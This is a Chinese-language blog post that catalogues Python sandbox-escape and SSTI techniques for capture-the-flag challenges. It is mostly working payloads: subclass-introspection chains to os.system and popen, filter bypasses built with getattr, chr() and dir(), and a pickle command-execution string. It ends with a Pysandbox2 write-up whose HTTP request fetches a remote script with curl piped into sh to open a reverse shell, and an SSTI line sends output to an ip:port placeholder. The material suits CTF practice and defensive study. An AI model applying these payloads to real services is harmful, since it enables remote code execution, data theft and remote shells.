Python沙箱逃逸总结

好久没更新博客了,放一篇咕了很久的总结

Python 沙箱逃逸

参考:

Python 沙箱逃逸

Python 沙盒逃逸备忘

构造payload常用的内置方法/属性

__class__

构造继承链的起点方法

>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
>>> ().__class__
<type 'tuple'>
>>> ''.__class__
<type 'str'>

__base__

寻找object基类(绝大多数可用的子类都存在于object基类)

>>> [].__class__.__base__
<type 'object'>
>>> {}.__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>

注意 ''.__class__.__base__并不能得到 object 基类 ,所以一般不使用 '' 来构造payload

__bases__

__base__

(了解)但__base__不能使用数组索引,而__bases__可以

>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__[0]  #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'type' object has no attribute '__getitem__'
>>> [].__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>

__mro__

类似 __base__,都用于寻找 object 基类,但 __mro__ 的使用需要加上索引号

>>> ().__class__.__mro__[1]
<type 'object'>
>>> [].__class__.__mro__[1]
<type 'object'>
>>> {}.__class__.__mro__[1]
<type 'object'>

__subclasses__()

返回基类包含的子类,一般用于查看object基类中存在的可用子类

>>> ().__class__.__mro__[1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, #.....省略
>>>

加上索引号即可访问该子类

>>> ().__class__.__mro__[1].__subclasses__()[40]
<type 'file'>

最后可通过找到的子类进行利用,如上面的 <type 'file'> 就可访问文件系统,如下

>>> ().__class__.__mro__[1].__subclasses__()[40]('/flag').read()
'ttpfx{test_test_test_test}'

__init__

类中的初始化方法,一般需要结合__globals__等其他方法来进行利用

>>> [].__class__.__mro__[1].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> [].__class__.__mro__[1].__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>

__enter__

__init__,当__init__被限制时可用于等价替换

__globals__

返回全局能使用的方法、变量、模块的字典

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__
{'filterwarnings': <function filterwarnings at 0x7f0b5dba6b90>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f0b5dba6b18>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f0b5dba6de8>, 'showwarning': <function _show_warning at 0x7f0b5dba6b18>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 
 #....省略

__builtins__

预定义变量,包含类中可用方法的字典

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']
{'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 
 #.....省略

于是我们可以通过这个方法字典,来调用一些函数实现RCE,如上我们可以发现存在 __import__方法,那我们可通过使用该方法导入os模块以实现RCE

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()

还可以看看是否存在其他可利用的方法,如存在os,那我们可不用导入 os 库即可实现RCE,如上还存在 file,可用于读取文件

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/flag').read()

func_globals

Py2才可用,同__globals__,可等价替换

[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['__builtins__']['file']('/flag').read()

image-20200913233034461

__dict__

类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__里,在这里用于导入变量(模块)或方法

​ 我们由之前的[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals可知,该子类存在 linecache 模块,而该模块导入了 os 模块,所以我们可通过 func_globals 访问到 linecache 模块,再使用 __dict__导入其中的 os 模块 实现RCE

[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat /flag').read()

image-20200913234655805

__import__

用于导入模块

__import__("os").popen("cat /flag")

values()

以列表返回字典中的所有值,用法类似__builtins__一般结合__globals__或func_globals用于查看可用的全局变量的值

>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()
[<function filterwarnings at 0x7fe3d3d2bb90>, {}, <class 'warnings.WarningMessage'>, <function _show_warning at 0x7fe3d3d2bb18>, [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], <function _setoption at 0x7fe3d3d2bde8>, <function _show_warning at 0x7fe3d3d2bb18>, ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], {}, None, <function simplefilter at 0x7fe3d3d2bc80>, 'default', <function _getcategory at 
 #......省略

然后进行引用,如这里调用 eval 函数

>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('1+1')
2

getattr()

返回一个对象属性值。

>>>class A(object):
...     bar = 1
... 
>>> a = A()
>>> getattr(a, 'bar')        # 获取属性 bar 值
1

该函数用于 . 符号的绕过,下面是smi1e师傅举的例子

  • [].__class__
    getattr([],'__class__')
  • [].__class__.__base__
    getattr(getattr([],'__class__'),'__base__')
  • [].__class__.__base__.__subclasses__()[59]
    getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]
  • [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
    getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

可以看到成功替换掉了原payload里所有的 . 符号(但该payload新增了逗号)

__getattribute__()

利用__getattribute__(),可通过索引的方式调用类中的方法

>>> class Test(object):
...     def __init__(self):
...             self.name='Test'
...     def echo(self):
...             print(self.name)
... 
>>> a=Test()
>>> a.__getattribute__('echo')()
Test

该方法可绕过一些限制,如限制了globals关键词,可以通过该方法+字符串拼接的方式绕过

().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

__getitem__

__getitem__可以取第n位,用于绕过中括号的过滤

>>> ().__class__.__mro__[1]
<type 'object'>
>>> ().__class__.__mro__.__getitem__(1)
<type 'object'>

dir()

  • dir()在没有参数的时候返回本地作用域中的名称列表
  • dir()在有参数的时候返回该对象的有效属性列表
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> dir([].__class__.__base__)
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

dir() 还可用于绕过 _ 的过滤,但需要结合 getattr()

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

__doc__

可用于一些特殊字符的替换,如限制了单个字符 g

>>> import os
>>> os.__doc__
"OS routines for Mac, NT, or Posix depending on what system we're on.\n\nThis exports:\n  - all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.\n  - os.path is one of the modules posixpath, or ntpath\n  - os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'\n  - os.curdir is a string representing the current directory ('.' or ':')\n  - os.pardir is a string representing the parent directory ('..' or '::')\n  - os.sep is the (or a most common) pathname separator ('/' or ':' or '\\\\')\n  - os.extsep is the extension separator ('.' or '/')\n  - os.altsep is the alternate pathname separator (None or '/')\n  - os.pathsep is the component separator used in $PATH etc\n  - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n  - os.defpath is the default search path for executables\n  - os.devnull is the file path of the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms.  Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n"
>>> os.__doc__[132]
'g'
>>> ().__class__.__mro__[1].__subclasses__()[40]('/fla'+os.__doc__[132]).read()
'ttpfx{test_test_test_test}'

reload() / imp.reload()

如题目删除了一些危险函数,如

del __builtins__.__dict__['__import__']

这时会导致无法导入模块,但 我们可以通过 reload(__builtins__)来重新导入__import__

>>> del __builtins__.__dict__['__import__']
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> import os
>>> os.system('cat /flag')
ttpfx{test_test_test_test}

但在python3中题目存在于 默认已导入模块 imp中,所以如果在Py3中,需要使用imp.reload()

>>> del __builtins__.__dict__['__import__']
>>> import os

----------------------------------------
Unhandled server exception!
Thread: SockThread
Client Address:  ('127.0.0.1', 7554)
Request:  <socket.socket fd=768, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 7555), raddr=('127.0.0.1', 7554)>
Traceback (most recent call last):
  File "D:\办公\python3.8.0\lib\socketserver.py", line 316, in _handle_request_noblock
    self.process_request(request, client_address)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 347, in process_request
    self.finish_request(request, client_address)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 360, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 514, in __init__
    socketserver.BaseRequestHandler.__init__(self, sock, addr, svr)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 720, in __init__
    self.handle()
  File "D:\办公\python3.8.0\lib\idlelib\run.py", line 515, in handle
    rpc.RPCHandler.getresponse(self, myseq=None, wait=0.05)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 291, in getresponse
    response = self._getresponse(myseq, wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 311, in _getresponse
    response = self.pollresponse(myseq, wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 432, in pollresponse
    message = self.pollmessage(wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 388, in pollmessage
    message = pickle.loads(packet)
KeyError: '__import__'

*** Unrecoverable, server exiting!
----------------------------------------

================================ RESTART: Shell ================================
>>> os.system('calc')
Traceback (most recent call last):
  File "<pyshell#2>", line 1, in <module>
    os.system('calc')
NameError: name 'os' is not defined
>>> imp.reload(__builtins__)    #这里虽然报错,但其实已经reload成功了
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    imp.reload(__builtins__)
NameError: name 'imp' is not defined
>>> import os
>>> os.system('calc')
0

注意上面使用imp.reload(__builtins__)虽然报错,但其实已经reload成功了

文件读取

file()

只存在于Py2,不存在于Py3

>>> ().__class__.__mro__[1].__subclasses__()[40]
<type 'file'>
>>> ().__class__.__mro__[1].__subclasses__()[40]('/flag').read()
'ttpfx{test_test_test_test}'

open()

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']
<built-in function open>
>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/flag').read()
'ttpfx{test_test_test_test}'

codecs模块

import codecs
codecs.open('test.txt').read()

命令执行

exec()

exec('import os;os.system("ifconfig")')   #exec函数包含的语句相当于一个完整的python_shell,但exec()的执行无回显

eval()

eval函数只支持单行语句的执行,会返回执行结果

还有一点和exec()不同的是,eval不能直接使用 import 语句来导入模块,若要导入模块需要使用__import__

>>> eval('import os')   #该句会报错
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    eval('import os')
  File "<string>", line 1
    import os
    ^
SyntaxError: invalid syntax
>>> eval('__import__("os").system("calc")') #使用__import__成功使用os模块
0

execfile()

execfile()用于执行可执行文件

execfile('/flag.py')

os模块

os.system('ls /')

os.popen('ls /')

os.startfile(r'/flag.exe')   #执行可执行文件

timeit模块

import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

commands模块

>>> import commands
>>> commands.getoutput('cat /flag')
'ttpfx{test_test_test_test}'
>>> commands.getstatusoutput('cat /flag')
(0, 'ttpfx{test_test_test_test}')

platform模块

import platform
platform.popen('ls /').read()

subprocess模块

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

sys模块

sys模块本身不能用于命令执行,但可用于导入其他模块达到命令执行的效果

>>> import sys
>>> sys.modules['commands'].getoutput('cat /flag')
'ttpfx{test_test_test_test}'

popen模块

popen模块包含一些命令执行的模块

>>> import popen
>>> dir(popen)
['Sh', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__path__', 'chain', 'fcntl', 'glob', 'islice', 'itertools', 'os', 'select', 'shlex', 'signal', 'subprocess', 'sys']
>>> popen.os.system('cat /flag')
ttpfx{test_test_test_test}0

pickle模块

pickle模块的反序列化可实现命令执行

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'cat /flag'\ntR.")

这里是使用的 os.system()

详细参考:利用Python pickle实现任意代码执行

可利用的类

以如下两种类举例

warnings.catch_warnings

该类包含 linecache ,而 linecache 存在 os模块

>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('cat /flag')
ttpfx{test_test_test_test}0

_weakrefset._IterationGuard

>>> "".__class__.__mro__[-1].__subclasses__()[60]
<class '_weakrefset._IterationGuard'>
>>> "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat /flag")')
ttpfx{test_test_test_test}0

寻找方法

​ 由上我们可以发现,只有类存在__init__.__globals__时,才能进行有效的利用(file类除外,它不存在__init__.__globals__,但可以直接用于读取文件),所以我们可以写脚本进行fuzz,来查找存在__init__.__globals__的类,以进行进一步的利用

>>> [].__class__.__mro__[1].__subclasses__()[56].__init__.__globals__ #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
>>> [].__class__.__mro__[1].__subclasses__()[57].__init__.__globals__ #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
>>> [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__
{'filterwarnings': <function filterwarnings at 0x7f45e74a5b90>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f45e74a5b18>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 
#........省略

一些绕过方式

变量替换绕过

>>> a = open
>>> a('/flag').read()
'ttpfx{test_test_test_test}'

字符拼接绕过

如上面__getattribute__()的paylaod,通过字符串的拼接绕过黑名单关键词

().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

还可利用__doc__进行字符拼接绕过

编码

编码方式 Py3 不可用

>>> ().__class__.__mro__[1].__subclasses__()[40]('L2ZsYWc='.decode('base64')).read()
'ttpfx{test_test_test_test}'

L2ZsYWc=/flag的 b64 编码

还可以使用 rot13 编码和十六进制 .decode('rot_13') .decode('hex')

模块/函数被删除的绕过

__import__被删除时,只能使用 reload() 或 imp.reload(),如上,但当被删除的是模块时,我们还可以通过 execfile() 去引入该模块

>>> execfile('/usr/lib64/python2.7/os.py') #或下面一种路径
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /flag')

还有可能会存在模块导入路径被攻击者修改的情况(sys.modules['os']=None),这时可使用 execfile() 或自己赋值正确的路径给sys.modules['os'] 来导入模块

>>> import sys
>>> sys.modules['os']=None
>>> import os         #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os

目标无回显

  • http外带
  • dnslog外带
  • 运用 判断语句 + time.sleep() 进行盲注
  • 反弹shell

引号绕过

可以使用chr()函数进行绕过,如下转换__builtins__

>>> chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)
'__builtins__'

那我们可以将下面payload

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()

转换为

>>> ().__class__.__base__.__subclasses__()[59].__init__.__globals__[chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)][chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)).popen(chr(108)+chr(115)+chr(32)+chr(47)).read()
'bin\nboot\ndata\ndev\netc\nflag\nflow.pcap\nhome\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntest\ntest.exe\ntmp\nusr\nvar\n'

chr()函数同样也可用于某些关键字黑名单限制

除chr()外,在SSTI中还可使用 requests 绕过,如

request.args

request.host

request.content_md5

request.content_encoding

{{[].class.mro[1].subclasses()[40] (request.args.file).read()}}&file=/etc/passwd

class、base、subclasses等关键词绕过

使用字符串拼接(仅SSTI可用,普通的python shell不行)

{{()['__cla'+'ss__'].__mro__[-1]}}
{{().__class__['__ba'+'se__']}}
{{().__class__.__base__['__subcl'+'asses__']()}}

init绕过

如上,__enter__

. 符号绕过

如上,getattr()

_ 符号绕过

如上,dir(0)[0][0]

在SSTI中还可以使用request传参

()[request.args.class].bases[0].subclasses()[59].init.globals.builtins'eval'&class=class

{{ 过滤

使用 {% %}

{% if ''.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen('curl http://ip:port/?i=whoami').read()=='p' %}1{% endif %}

中括号绕过

如上,getitem()

总结

​ Py的沙箱的基本Bypass方法就上面这些,个人感觉Py沙箱逃逸更多需要我们合理去利用我们能够访问到的属性、方法来实现相应目的

​ 如 SCTF 2020 的 Pysandbox2 ,该题限制只能使用 chr(42~122)的字符,即引号和小括号都不能使用,且不能通过修改

app.static_folder动态更改静态文件目录,将静态文件目录设为根目录的方式去读取flag(这是 Pysandbox1 的做法)

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"

    exec(secret)
    return "xXXxXXx"
    print(__builtins__.xXXxXXx)

if __name__ == '__main__':
    app.run(host="0.0.0.0")

可以知道,引号的绕过可以通过requests,但小括号貌似就不能绕过了?

Pysandbox2两个思路

第一个是直接修改 ord 函数,使的题目的 waf 失效

先将ord修改为lambda匿名函数,并设置参数一直为45,确保不会触发waf

__builtins__.ord=lambda*args:45

然后再将 / 路由中的security函数覆盖掉

app.view_functions['security'] = lambda: __import__('os').popen('cat /flag').read()

第二个就是修改视图函数为危险函数(eval等),然后就能在我们能控制的相应字段去发送相应payload

如官方WP中的做法就是找到路由解析函数 werkzeug.urls.url_parse,然后修改为eval完成命令执行

  1. 先通过tokyowestern 2018年shrine的找继承链脚本找到
    request.__class__._get_current_object.__globals__['__loader__'].__class__.__weak

  2. request.__class__._get_current_object.__globals__['__loader__'].__class__._ _weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__global s__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls'].url_parse=eval

    这里的引号应该使用requests绕过的,但为了可读性,就没有按原WP照搬了

  3. 访问__import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh')即可弹回shell,数据包如下

    POST __import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh') HTTP/1.1
    Host: __loader__
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI% 3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-MD5: _bootstrap_external
    Content-Encoding: werkzeug.urls
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 246
    
    cmd=request.__class__._get_current_object.__globals__[request.host].__class__._ _weakref__.__objclass__.contents.__globals__[request.host].exec_module.__global s__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval
此条目发表在Python沙箱逃逸, SSTI模板注入分类目录。将固定链接加入收藏夹。

发表评论

电子邮件地址不会被公开。 必填项已用*标注